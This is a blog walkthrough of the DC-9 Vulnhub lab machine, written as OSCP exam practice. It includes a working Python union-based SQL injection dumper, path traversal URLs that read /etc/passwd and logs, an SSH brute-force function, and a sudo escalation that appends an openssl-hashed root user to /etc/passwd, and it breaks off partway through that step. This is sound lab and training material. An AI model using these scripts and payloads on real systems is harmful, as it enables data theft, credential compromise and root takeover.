DC-9 Vulnhub Walkthrough – OSCP way

Recently, My focus turned more towards OSCP and I am thinking of taking the exam. After reading tons of people’s experience over Reddit, I took some notes on what would be my way of studying for this. It isn’t easy from the looks of it and to win with time, I need a lot of practice. Some articles which I found useful are :
https://forum.hackthebox.com/t/a-script-kiddie-s-guide-to-passing-oscp-on-your-first-attempt/1471
https://forum.hackthebox.com/t/oscp-exam-review-2019-notes-gift-inside/1407
https://www.reddit.com/r/oscp/comments/dnhcy2/blind_sqli/
The last link provides the link to a sheet which I am following to start my journey with:
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#
I picked the first one from the red column, the machine name DC 9.

I think it is very important to understand where our weak point lies. Since, I have been writing walkthroughs for a long time on this blog, I do understand how to see a machine when you have the shell access or to understand how to get the shell access, what kind of vulnerability we need to look for and where to look for it.

Honestly, I am not so good with Bug bounties.I think, It is a very crowded market, its like a store with Mega Sale and if you are not the first one to reach there, it will be difficult for you to find what you’ve been looking for. I am good with CTFs though. I started with enigmagroup.org ( they dont exist anymore) and then hackthissite.org. I played overthewire bandits and Natas, I have written posts about them if you would like to start playing those. I still think overthewire is very important. They give you hint of basic linux and make you see things in a different way.

Now, let me tell you what I am expecting from myself at the end of this journey, I want to write quick exploit code for a vulnerability I found on an application/machine. My weak point is buffer overflow. SQLinjection was used to be my weak point but when i gave it enough time, it was no longer something that frustrates me and you need to keep in mind, YOU DO NOT NEED TO REINVENT THE WHEEL.

Let’s Dive into DC 9 machine now.
It is a Easy Level machine. You will need a VM software to run it, So you will need following things to move forward:

  • VMware/VirtualBox
  • Your attacking machine( mine is kali)
  • Download ISO for DC 9

Step One : Getting the IP address of the machine

I have no intention of typing this step again and here is an article that can help you: http://www.anonhack.in/2018/06/finding-the-ip-address-of-your-victim-in-your-hacking-lab-network/

Step Two: Enumerate and Scan

It is one of the earliest phase and it defines your ground ahead. A good enumeration and understanding of the application will help you think and explore multiple ways of exploiting a machine. Starting with Nmap, we need to know what ports are open, we need to find something to probe.

From the above output, It seems SSH port is filtered (it could be open or may have a firewall of some kind) but we will check that out later. There is port 80 open for web servers and Apache httpd 2.4.38 is the server running on it.

There was no robots.txt. I made it a habit to check that, at times there are some nice information there. Plus, if you do not know the version of the server a 404 page usually gives out that information too.

I checked all the tabs over the front page: “Home”,”Display All Records”, “Search”, “Manage”.
“Display All Records” – Display staff details
“Search” – Lets you search staff names
“Manage” – Have a login panel
Obviously, Search and Manage are connected to Databases because one let you search and other let you login.
Now, at this point you can do plenty other reconnaissance stuff : Running a directory brute-force to check any known names, search for known exploits for known server version etc.

I usually do the check ‘ OR 1=1 in every field which takes user input which I know is connected to databases. There are lists available https://github.com/payloadbox/sql-injection-payload-list and https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet. Feed these to burp intruder, mark the post parameter for fuzzing and look out for page length change (check for larger lengths)

The manual injection shows this:

‘OR 1=1 — means we are injecting in backend language which controls SQL behind this page, the quote is language syntax for starting and stopping a query in SQL and by OR 1=1, we are giving it a true condition to fetch the data where 1=1, which is true and dumps everything in the current table.
The search parameter is handled by results.php page. Now to make our work easier, we can make use of SQLmap to dump all the databases for us. But the sad part is, you cannot use SQLMAP in OSCP. So since we are looking at it the OSCP way. We need to make sure to either do it manually or to make a script or copy a already written script to do this. This injection is actually SQL UNION BASED INJECTION.
I made a little script which is only union based POST method script. To run this we have to define define the column range as “-cr”, -u for the URL -m as the method POST and -d as data to go with post.
Code:

#!/usr/bin/python3

import requests
import re
import argparse
import pandas as pd

parser=argparse.ArgumentParser()
parser.add_argument("-u", help="Target URL, must start with http://,https://", type=str,default=True)
parser.add_argument("-m", help="Method to be used", type=str)
parser.add_argument("-d",help= "Provide POST request data like username=Mary FUZZ",type=str)
parser.add_argument("-cr",help= "Define ranges: usually for column numbers",type=int)
args=parser.parse_args()
target=args.u
method=args.m 
data=args.d
colrange=args.cr

def col_num(target,method,data,colrange):
    query="' union select 'zombie'"
    extras=",'Zombie'"
    comment="--+"
    if method=="POST" or "post":
        for i in range(1,colrange):
        
            if "FUZZ" in data:
                sql_col=data.replace("FUZZ",query)
            else:
                print("No Fuzz in Data, Please mention Fuzz")
            sql_col=sql_col+comment
            req=requests.post(target,headers={"Content-Type":"application/x-www-form-urlencoded"}, data=sql_col)
            #print("Query :",req.request.body,"\t","Status-code :", req.status_code,"\t","Response Characters ",len(req.text))
            query+=extras
            if "Zombie" in req.text:
                print("No. of Columns: ",i)
                break
            #res_len.add({i:len(req.text)})
        dbs_tbs(i,data)
        return i
    else:
        if "FUZZ" in target:
            for i in range(0,colrange):
        
                if "FUZZ" in data:
                    sql_col=data.replace("FUZZ",query)
                    sql_col=sql_col+comment
                    req=requests.get(target)
                    print("Query :",req.request.body,"\t","Status-code :", req.status_code,"\t","Response Characters ",len(req.text))
                    query+=extras
                else:
                    print("No Fuzz in URL, Please mention Fuzz")


def dbs_tbs(n,data):
    comment=" #"
    query_db='\'UNION ALL SELECT concat(" SQLiDB -",database()," SQLiVer - ",@@version,"  SQLiClose")'
    db=data.replace("FUZZ",query_db)
    if n !=0:
        db+=",NULL"*(n-1)
    db+=comment
    #print(db)
    req=requests.post(target,headers={"Content-Type":"application/x-www-form-urlencoded"}, data=db)
            #print("Query :",req.request.body,"\t","Status-code :", req.status_code,"\t","Response Characters ",len(req.text))
    
    if "SQLiDB" in req.text:
       reg_db= "SQLiDB -([^\s]+)"
       reg_dbver= "SQLiVer - ([^\s]+)"
       finddb=re.findall(reg_db,req.text)
       findver=re.findall(reg_dbver,req.text)
       print("Current DB ",finddb,"\nVersion of Database in Use ",findver)
    
    
    nulls=',NULL'*(n-1)
    query_all_dbs='\' union SELECT group_concat("DBSQLi -",schema_name," ")'+nulls+' FROM information_schema.schemata'
    db=data.replace("FUZZ",query_all_dbs)
    db+=comment
    #print(db)
    req=requests.post(target,headers={"Content-Type":"application/x-www-form-urlencoded"}, data=db)
            #print("Query :",req.request.body,"\t","Status-code :", req.status_code,"\t","Response Characters ",len(req.text))
    
    if "DBSQLi" in req.text:
       #print(req.content)
       dbsall= "DBSQLi -([^\s]+)"
       alldbs=re.findall(dbsall,req.text)
       print("All Database : ",alldbs)
       
    if len(alldbs) != 0:
        dbtab={}
        for i in range(0,len(alldbs)):
            
            query_dbtables= ' \' union SELECT group_concat("SQLiT -",TABLE_NAME," ")'+nulls+' FROM information_schema.TABLES WHERE table_schema="'+alldbs[i]+'"#'
            db=data.replace("FUZZ",query_dbtables)
            #print(db)
            req=requests.post(target,headers={"Content-Type":"application/x-www-form-urlencoded"}, data=db)
            if "SQLiT" in req.text:
                tbsall= "SQLiT -([^\s]+)"
                alltables=re.findall(tbsall,req.text)
                #print("tables in "+alldbs[i],alltables)
                
                dbtab.update({alldbs[i] : alltables})
        
        print("\n",dbtab)
        dbenum=input("Enter Which database you want to dump data?\n")
        enum=input("Enter Which table you want to dump from above?\n")
        print(enum)
        if enum != "":
            query_tabs='\' union all select concat("SQLiCol -",column_name," ")'+nulls+' FROM information_schema.columns where table_name="'+enum+'"#'
            db=data.replace("FUZZ",query_tabs)
            #print(db)
            req=requests.post(target,headers={"Content-Type":"application/x-www-form-urlencoded"}, data=db)
            if "SQLiCol" in req.text:
                
                colall= "SQLiCol -([^\s]+)"
                col_name=re.findall(colall,req.text)
                print(col_name)
                query_tabdet='\' union all select group_concat("SQLiData -",'+",'  ',".join(col_name)+'," SQLClose")'+nulls+' FROM '+dbenum+'.'+enum +' #'
                db=data.replace("FUZZ",query_tabdet)
                req=requests.post(target,headers={"Content-Type":"application/x-www-form-urlencoded"}, data=db)
                if "SQLiData" in req.text:
                    datacol= "SQLiData\s-(.*?)SQLClose"
                    col_data=re.findall(datacol,req.text)
                new_list = [x.split("  ") for x in col_data]   
                final_list = [col_name]
                final_list.extend(new_list)
                #print(final_list) 
                
                all_data=pd.DataFrame(new_list,columns=col_name).to_dict("records")
                print(all_data)
                
col_num(target,method,data,colrange)


Usage : python3 SQLInjection.py -cr 10 -u http://192.168.1.14/results.php -m POST -d “search=FUZZ”

This code is not perfect but I have intentions to make this perfect as I do different challenges.

The output of this script will give us all database names, tables names inside those databases and you can choose which table to dump.

I have dumped two DBs users and Staff and UserDetails and Users respectively.

Staff Database has Users tables which has admin username and password and Users has UserDetails which has a list of usernames and passwords which we can use as bruteforce or in manage login panel.

Let’s see try “admin” and “856f5de590ef37314e7c3bdf6f8a66dc”. Before we can use this, we need to crack this password hash. We can usually use online crackers to do this or John if you want to. I used https://crackstation.net/ and it gave me “transorbital1”

Using admin and transorbital1as login on Manage Page:

It shows a very weird error at the bottom of the page which says “File does not exist“. This simply means that the current page has a PHP code which is taking a variable (could be get or post) as a filename and it does something with it. To find that out I did this :
http://192.168.1.14/welcome.php?file=../../../../../../../etc/passwd

Now, We know it displays the files – It is PATH TRAVERSAL!
After the above steps, I tried several other files and I also checked sshd config because I wanted to know if there is any kind of firewall for this port. I searched for a good amount of time, compared the /var/log/ and other folders of this machine with my kali machine to see something useful and while I was looking at the installed packages under this /var/log/dpkg.log, I found “knockd” and I got this article: https://www.giac.org/paper/gsec/4122/port-knocking-overview-concepts-issues-implementations/106545
So there is a concept called Port Knocking in linux and it is used to obfuscate a certain port.
http://192.168.1.14/manage.php?file=../../../../../../../var/log/apt/history.log
http://192.168.1.12/manage.php?file=../../../../../../../var/log/dpkg.log < showed knockd installed

I made use of regex to parse the large log with this regexinstall\s([a-zA-Z].*?:) just to check all installed packages 🙂

There is /etc/knockd.conf file which showed me the ports to knock:

The sequence of port knock is 7469,8475 and 9842

Checking nmap again showed SSH port has been opened.

Now, We have a list of usernames and passwords to login using ssh:
To brute-force in OSCP hydra would be one of the best tools but for me I have written an SSH bruteforce script long back and I am using that, If you want to use the code, this is the post: http://www.anonhack.in/2018/06/hacking-with-python-series-ssh-bruteforcing-script-using-paramiko/

I’ve found three successful logins.
I have logged in chandlerb and joeyt, but found nothing.
Janitor on the otherhand, gave away a file:

Now, I’ll again try bruteforcing these passwords with each of the usernames
Below is the changes I did in files_read function to make this happen with my SSH script above:

def files_read(ip,userfile,passfile):
    
    try:
        print("*********** [+] Bruteforcer Running********** ")
        
        with open(userfile,'r') as u, open(passfile,'r') as p:
            passw= p.readlines()
            for uline in u.readlines():
            #while uline in u:
                for pline in passw:
                    param_ssh(ip,uline.rstrip(),pline.rstrip())
        #found is the global variable. If user and password are correct then found is not equal to zero.
                    if(found!=0):
                        print("\n[+] User and Password Found:\n"+"username:"+uline+"password:"+pline)
                        break
                   
    except Exception as f:
        print(f)  

and this is the login I got:

After logging into fredf, I ran command ” sudo -l”, this is to see the commands that are available for us to run with sudo without password. I’ve done this in all the above logins too and I found that joeyt,chandlerb and janitor are not sudoers for any files. You should also always look for SUID executables.

I tried to run this file.
It’s a Python binary which takes two files, read the first file and append the data of first file on second file.
Now, Since we can run this as root(sudo without password). The first thought in my mind was changing the linux /etc/shadow,/etc/passwd files and appending the new users with root permissions.
How to do it?
we need to edit /etc/passwd file and append a new value with a root user.
I tried a few more ways to create an empty password user with root access in /etc/passwd but that didn’t work out for me. I think I need to spend more time for this to work.
But anyways, there is another way to generate the password using openssl and then putting it in the format /etc/passwd file understands.
Command:

openssl passwd -1 -salt lol toor

Where -1 means MD5 hash, -salt means salt value we will be using which is “lol” string in my case and “toor” is the actual password.

I just echoed it to a file in /tmp which is called zombie (because /tmp and /home/fredf/ are the only two places I have permission to create a file as fredf) and then ran the test with sudo to append new user to /etc/passwd.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: